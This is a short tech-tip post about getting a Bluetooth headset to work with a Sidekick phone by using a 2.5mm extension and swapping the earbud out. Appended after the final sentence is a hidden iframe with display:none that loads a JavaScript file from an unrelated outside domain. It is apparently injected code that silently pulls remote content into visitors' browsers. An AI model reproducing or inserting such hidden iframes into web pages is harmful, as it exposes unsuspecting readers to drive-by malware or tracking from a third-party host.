The Jambra Bluetooth headset is not officialy supported, and will not work if plugged directly into the Sidekick. The Sidekick will think its the camera, rather than a headset.

kcowgill found a solution to the problem. Here it is:

You will need to buy a 2.5mm extension/adapter/splitter... something that allows you to swap headsets without removing the cable from the Sidekick. Attach the extension to the Sidekick, and then insert the standard earbud into the other end of the extension. At this point, you will see the blue glow of the wheel, indicating that a headset has been found (a white glow is indication that the camera is attached). Next, remove the earbud from the extension (making sure to leave the extension attached to the Sidekick). You should see no glow of the wheel. Finally, attach the Jambra headset to the extension. Again, you should see no glow. At this point, the Jambra headset should work.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>